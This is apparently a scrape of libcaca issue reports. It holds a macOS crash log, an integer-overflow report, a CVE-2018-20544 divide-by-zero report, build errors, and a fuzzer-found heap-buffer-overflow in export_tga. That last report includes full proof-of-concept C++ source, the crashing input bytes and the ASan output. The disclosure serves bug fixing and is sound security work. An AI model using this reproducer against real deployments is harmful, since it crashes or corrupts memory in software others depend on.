System Integrity Protection: enabled

Crashed Thread:        0  Dispatch queue: com.apple.main-thread

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x000000005a41e2d0

VM Regions Near 0x5a41e2d0:
--> 
    __TEXT                 000000010c2a8000-000000010c2a9000 [    4K] r-x/rwx SM=COW  /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libcaca.dylib                   0x000000010c87d23c caca_set_canvas_size + 19

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000000000000  rbx: 0x000000005a41e2c0  rcx: 0x000000010c674e34  rdx: 0x0000000000000000
  rdi: 0x000000005a41e2c0  rsi: 0x0000000000000000  rbp: 0x0000000000000000  rsp: 0x00007fff53956ec0
   r8: 0x000000010c817730   r9: 0x000000010c2e5d57  r10: 0x00007fff53956e80  r11: 0x000000010c885f42
  r12: 0x0000000000000000  r13: 0x0000000000000004  r14: 0x0000000000000000  r15: 0x000000010c692b94
  rip: 0x000000010c87d23c  rfl: 0x0000000000010246  cr2: 0x000000005a41e2d0

Logical CPU:     2
Error Code:      0x00000004
Trap Number:     14


Binary Images:
       0x10c2a8000 -        0x10c2a8fff  org.python.python (2.7.10 - 2.7.10) <307E6E15-ECF7-3BB2-AF06-3E8D23DFDECA> /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
       0x10c2ad000 -        0x10c39eff7  org.python.python (2.7.10 - 2.7.10) <83AFAAA7-BDFA-354D-8A7A-8F40A30ACB91> /System/Library/Frameworks/Python.framework/Versions/2.7/Python
       0x10c767000 -        0x10c768fff  _locale.so (94) <4394AC91-22AE-3D7D-85C4-792A4F35F3F2> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/_locale.so
       0x10c7ed000 -        0x10c7effff  zlib.so (94) <72EB0E79-95F2-316C-B49C-A259FEA56658> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/zlib.so
       0x10c7f5000 -        0x10c7f8fff  operator.so (94) <D60F7C86-DED4-34F8-BA1B-106E044B6F83> /System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-dynload/operator.so
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    0x7fff9ee63000 -     0x7fff9ee67fff  libGIF.dylib (1450) <49D45D41-11AD-38DC-BDC5-9EC57E3B8E30> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libGIF.dylib
    0x7fff9ee68000 -     0x7fff9f296fff  com.apple.vision.FaceCore (3.3.1 - 3.3.1) <E54028EA-4217-3078-A2B1-C52E4214D59E> /System/Library/PrivateFrameworks/FaceCore.framework/Versions/A/FaceCore
    0x7fff9f70a000 -     0x7fff9f779fff  com.apple.SearchKit (1.4.0 - 1.4.0) <F159A888-34CA-36F1-AC8E-EB1B38C9DFB3> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SearchKit.framework/Versions/A/SearchKit
    0x7fff9f77a000 -     0x7fff9f788fff  libxar.1.dylib (302) <03207F66-2C4A-3DBD-8D81-70F4C85903C4> /usr/lib/libxar.1.dylib
    0x7fff9f789000 -     0x7fff9f7e7fff  com.apple.SystemConfiguration (1.14 - 1.14) <D801FAD7-5A2D-3E5E-9F44-B6C9B8BEA747> /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
    0x7fff9f96c000 -     0x7fff9f96cff7  libkeymgr.dylib (28) <8371CE54-5FDD-3CE9-B3DF-E98C761B6FE0> /usr/lib/system/libkeymgr.dylib
    0x7fffa0176000 -     0x7fffa0189fff  com.apple.CoreBluetooth (1.0 - 1) <E54CA9A2-A5C6-30C5-9D6E-8472DBA9371E> /System/Library/Frameworks/CoreBluetooth.framework/Versions/A/CoreBluetooth
    0x7fffa01be000 -     0x7fffa01c3fff  com.apple.DiskArbitration (2.7 - 2.7) <F55902AA-5316-3255-A701-FDED5B553065> /System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration
    0x7fffa0217000 -     0x7fffa0285ff7  com.apple.ApplicationServices.ATS (377 - 394.4) <9779E916-0788-3CAC-B1EC-F68BCB12A2B6> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/ATS
    0x7fffa054e000 -     0x7fffa0950fff  libLAPACK.dylib (1162.2) <42238ED4-6B7A-39D0-BFF2-304A0C287213> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLAPACK.dylib
    0x7fffa0968000 -     0x7fffa0981fff  com.apple.CFOpenDirectory (10.11 - 194) <11F95672-55E0-3F9D-9171-5E8C56AEE948> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/Frameworks/CFOpenDirectory.framework/Versions/A/CFOpenDirectory

External Modification Summary:
  Calls made by other processes targeting this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by this process:
    task_for_pid: 0
    thread_create: 0
    thread_set_state: 0
  Calls made by all processes on this machine:
    task_for_pid: 12464
    thread_create: 0
    thread_set_state: 0

VM Region Summary:
ReadOnly portion of Libraries: Total=200.9M resident=0K(0%) swapped_out_or_unallocated=200.9M(100%)
Writable regions: Total=40.6M written=0K(0%) resident=0K(0%) swapped_out=0K(0%) unallocated=40.6M(100%)

                                VIRTUAL   REGION 
REGION TYPE                        SIZE    COUNT (non-coalesced) 
===========                     =======  ======= 
Activity Tracing                  2048K        2 
Kernel Alloc Once                    4K        2 
MALLOC                            28.5M       13 
MALLOC guard page                   32K        7 
STACK GUARD                       56.0M        2 
Stack                             8192K        2 
VM_ALLOCATE                       1800K        7 
__DATA                            13.4M      200 
__LINKEDIT                        92.8M       29 
__TEXT                           108.1M      202 
__UNICODE                          552K        2 
shared memory                       12K        4 
===========                     =======  ======= 
TOTAL                            311.2M      460

common-image.c: segmentation fault on 32 bit systems

Hello,

in common-image.c the following code will overflow on 32 bit systems

/* Allocate the pixel buffer */
im->pixels = malloc(im->w * im->h * depth);

if the product is larger than the maximum value of an unsigned 32 bit integer. This is reproducible with the latest POCs e.g. here

#36

I have prepared a patch that adds an overflow check. I assumed a 2GB image should be a sane limit.

https://gist.github.com/apoleon/24df7819b257faade31125303e91e4a2

[ Security] heap-buffer-overflow of export.c in function export_tga

Hi libcaca Team
When I use the libfuzz test library API, I found an overflow error. Here are the steps to reproduce and my running environment

System info：
Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0
Fedora 33: clang 11.0.0 , gcc 10.2.1

libcaca version e4968ba

Verification steps：
1.Get the source code of libcaca
2.Compile the libcaca.so library

$ cd libcaca
$ ./bootstrap
$ ./configure
$ make

$ cd libcaca
$ ./bootstrap
$ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link  -fsanitize-coverage=bb"
$ make

3.Create the poc_tga.cc && build

#include "config.h"
#include "caca.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fstream>
#include <iostream>

using namespace std;

extern "C"  int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {

  if(Size<8) return 0;
  size_t len=0;
  char* buffer = (char*)malloc(Size+1);
  memset(buffer,0,Size);
  memcpy(buffer,Data,Size);
  buffer[Size]='\0';
  caca_canvas_t *cv;
  cv = caca_create_canvas(0,0);
  for(int i=0;i<4;i++)
        caca_create_frame(cv,0);
  for(int i=0;i<4;i++){
        caca_set_frame(cv,i);
        caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
  }
  void* reData = caca_export_canvas_to_memory(cv,"tga",&len);
  if(reData!=NULL) free(reData);
  caca_free_canvas(cv);
  cv=NULL;
  free(buffer);
  buffer=NULL;
	return 0;
}

int main(int args,char* argv[]){

        size_t  len = 0;
        unsigned char buffer[] = {0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
        len = sizeof(buffer)/sizeof(unsigned char);
        LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
        printf("%d\n",sizeof(buffer)/sizeof(unsigned char));

        return 0;
}

4.compile poc_tga.cc

clang++ -g poc_tga.cc -O2 -fno-omit-frame-pointer -fsanitize=address  -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/  -o poc_tga

5.Run poc_tga

asan info:

==1845495==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000000022 at pc 0x7f905c1bf440 bp 0x7ffdb0a31310 sp 0x7ffdb0a31308
WRITE of size 1 at 0x603000000022 thread T0
    #0 0x7f905c1bf43f in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:961:12
    #1 0x7f905c1bf43f in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
    #2 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
    #3 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
    #4 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #5 0x41c39d in _start (/home/hh/Downloads/libcaca/poc_tga+0x41c39d)

0x603000000022 is located 0 bytes to the right of 18-byte region [0x603000000010,0x603000000022)
allocated by thread T0 here:
    #0 0x494add in malloc (/home/hh/Downloads/libcaca/poc_tga+0x494add)
    #1 0x7f905c1be0eb in export_tga /home/hh/Downloads/libcaca/caca/codec/export.c:944:18
    #2 0x7f905c1be0eb in caca_export_memory /home/hh/Downloads/libcaca/caca/codec/export.c:117:16
    #3 0x4c6d46 in LLVMFuzzerTestOneInput /home/hh/Downloads/libcaca/poc_tga.cc:29:18
    #4 0x4c6e1c in main /home/hh/Downloads/libcaca/poc_tga.cc:44:2
    #5 0x7f905bc0e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/export.c:961:12 in export_tga
Shadow bytes around the buggy address:
  0x0c067fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c067fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c067fff8000: fa fa 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c067fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1845495==ABORTING

CVE-2018-20544

Following vulnerability has been reported to Red Hat issue tracker:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20544
https://bugzilla.redhat.com/show_bug.cgi?id=1652627

./img2txt POC6

version: libcaca0.99beta19
Summary: 

There is float point exception at caca/dither.c:1013 (function:caca_dither_bitmap )in libcaca latest version.

Description:

The asan debug is as follows:

$./img2txt POC6

=================================================================
==65878==ERROR: AddressSanitizer: FPE on unknown address 0x7efce996aa4a (pc 0x7efce996aa4a bp 0x0000ffff8e2b sp 0x7ffd5af44cf0 T0)
    #0 0x7efce996aa49 in caca_dither_bitmap /home/company/real/libcaca-master/caca/dither.c:1013
    #1 0x55ad5d57196e in main /home/company/real/libcaca-master/src/img2txt.c:210
    #2 0x7efce95881c0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x211c0)
    #3 0x55ad5d571f09 in _start (/home/company/real/libcaca-master/install_asan/bin/img2txt+0x2f09)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE /home/company/real/libcaca-master/caca/dither.c:1013 in caca_dither_bitmap
==65878==ABORTING

static failure os x

with dynamic it works, but with static:


$ ./configure --enable-static --disable-shared && make

  CCLD     bench
Undefined symbols for architecture x86_64:
  "_CGDisplayPixelsHigh", referenced from:
      _convert_NSRect in libcaca.a(libcaca_la-cocoa.o)
  "_CGMainDisplayID", referenced from:
      _convert_NSRect in libcaca.a(libcaca_la-cocoa.o)
  "_GetCurrentProcess", referenced from:
      _register_cocoa_app in libcaca.a(libcaca_la-cocoa.o)
  "_NSApp", referenced from:
      -[CacaWindowDelegate windowShouldClose:] in libcaca.a(libcaca_la-cocoa.o)
      _cocoa_get_event in libcaca.a(libcaca_la-cocoa.o)
      _register_cocoa_app in libcaca.a(libcaca_la-cocoa.o)
      _create_application_menus in libcaca.a(libcaca_la-cocoa.o)
  "_NSDefaultRunLoopMode", referenced from:
      _cocoa_get_event in libcaca.a(libcaca_la-cocoa.o)
  "_NSFontAttributeName", referenced from:
      -[CacaView setFont:] in libcaca.a(libcaca_la-cocoa.o)
  "_NSForegroundColorAttributeName", referenced from:
      -[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
  "_NSIntersectsRect", referenced from:
      -[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
  "_NSLog", referenced from:
      -[CacaView keyDown:] in libcaca.a(libcaca_la-cocoa.o)
      -[CacaView mouseMoved:] in libcaca.a(libcaca_la-cocoa.o)
  "_NSRectFill", referenced from:
      -[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
  "_NSRectFillListWithColors", referenced from:
      -[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
  "_NSUnderlineStyleAttributeName", referenced from:
      -[CacaView initWithFrame:] in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSApplication", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
      l_OBJC_$_CATEGORY_NSApplication_$_Caca in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSAutoreleasePool", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSBundle", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSColor", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
      l_OBJC_$_CATEGORY_NSColor_$_Caca in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSCursor", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSDate", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSEvent", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSFont", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSMenu", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSMenuItem", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSMutableDictionary", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSNumber", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSObject", referenced from:
      _OBJC_CLASS_$_CacaWindowDelegate in libcaca.a(libcaca_la-cocoa.o)
      _OBJC_CLASS_$_CacaAppDelegate in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSProcessInfo", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSString", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSView", referenced from:
      _OBJC_CLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_CLASS_$_NSWindow", referenced from:
      objc-class-ref in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_IVAR_$_NSApplication._running", referenced from:
      -[NSApplication(Caca) setRunning] in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_METACLASS_$_NSObject", referenced from:
      _OBJC_METACLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
      _OBJC_METACLASS_$_CacaWindowDelegate in libcaca.a(libcaca_la-cocoa.o)
      _OBJC_METACLASS_$_CacaAppDelegate in libcaca.a(libcaca_la-cocoa.o)
  "_OBJC_METACLASS_$_NSView", referenced from:
      _OBJC_METACLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
  "_SetFrontProcess", referenced from:
      _register_cocoa_app in libcaca.a(libcaca_la-cocoa.o)
  "_TransformProcessType", referenced from:
      _register_cocoa_app in libcaca.a(libcaca_la-cocoa.o)
  "___CFConstantStringClassReference", referenced from:
      CFString in libcaca.a(libcaca_la-cocoa.o)
      CFString in libcaca.a(libcaca_la-cocoa.o)
      CFString in libcaca.a(libcaca_la-cocoa.o)
      CFString in libcaca.a(libcaca_la-cocoa.o)
      CFString in libcaca.a(libcaca_la-cocoa.o)
      CFString in libcaca.a(libcaca_la-cocoa.o)
      CFString in libcaca.a(libcaca_la-cocoa.o)
      ...
  "__objc_empty_cache", referenced from:
      _OBJC_CLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
      _OBJC_METACLASS_$_CacaView in libcaca.a(libcaca_la-cocoa.o)
      _OBJC_METACLASS_$_CacaWindowDelegate in libcaca.a(libcaca_la-cocoa.o)
      _OBJC_CLASS_$_CacaWindowDelegate in libcaca.a(libcaca_la-cocoa.o)
      _OBJC_METACLASS_$_CacaAppDelegate in libcaca.a(libcaca_la-cocoa.o)
      _OBJC_CLASS_$_CacaAppDelegate in libcaca.a(libcaca_la-cocoa.o)
  "_objc_msgSend", referenced from:
      -[CacaView initWithFrame:] in libcaca.a(libcaca_la-cocoa.o)
      -[CacaView dealloc] in libcaca.a(libcaca_la-cocoa.o)
      -[CacaView setFont:] in libcaca.a(libcaca_la-cocoa.o)
      -[CacaView resizeIfNeeded:] in libcaca.a(libcaca_la-cocoa.o)
      -[CacaView updateBuffersFromCaca:] in libcaca.a(libcaca_la-cocoa.o)
      -[CacaView drawRect:] in libcaca.a(libcaca_la-cocoa.o)
      +[NSColor(Caca) colorFromRgb12:] in libcaca.a(libcaca_la-cocoa.o)
      ...
  "_objc_msgSendSuper2", referenced from:
      -[CacaView initWithFrame:] in libcaca.a(libcaca_la-cocoa.o)
      -[CacaView dealloc] in libcaca.a(libcaca_la-cocoa.o)
  "_objc_msgSend_stret", referenced from:
      -[CacaView setupNewSize] in libcaca.a(libcaca_la-cocoa.o)
      -[CacaView setFont:] in libcaca.a(libcaca_la-cocoa.o)
      _cocoa_get_display_width in libcaca.a(libcaca_la-cocoa.o)
      _cocoa_get_display_height in libcaca.a(libcaca_la-cocoa.o)
      _create_first_window in libcaca.a(libcaca_la-cocoa.o)
ld: symbol(s) not found for architecture x86_64
clang: error: linker command failed with exit code 1 (use -v to see invocation)

Blinking characters

This issue also appears here: (ranger/ranger#1407) with a nice example. It can be reproduced in docker as follows. Start a docker from the official fedora 30 image:

docker run -it fedora:30 sh

Then inside the running docker:

dnf install -y caca-utils
curl https://cdn.pixabay.com/photo/2016/12/06/03/46/cat-1885511_640.jpg --output foo.jpg
cacaview foo.jpg

The characters in the cat's ears are blinking

caca! really!!

Sorry but I'm french, and "caca" for a lib name... it's not possible :)

Enable Wayland rendering?

I don't know if I'm asking for something stupid, but seeing which graphical renderings are available (OpenGL, X11, etc) I miss Wayland's one.
Thanks a lot

	darwin_ver="$(echo "${target_os}" \| sed -ne 's/[^0-9]\([0-9]\+\)./\1/p')"
	if [[ "$darwin_ver" -lt "13" ]]; then

	/* Allocate the pixel buffer */
	im->pixels = _caca_alloc2d(im->w, im->h, depth);
	if (!im->pixels)
	{
	caca_file_close(f);
	free(im);
	return NULL;
	}

	memset(im->pixels, 0, im->w * im->h * depth);

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testcode:

solution sketch for type and key_ch

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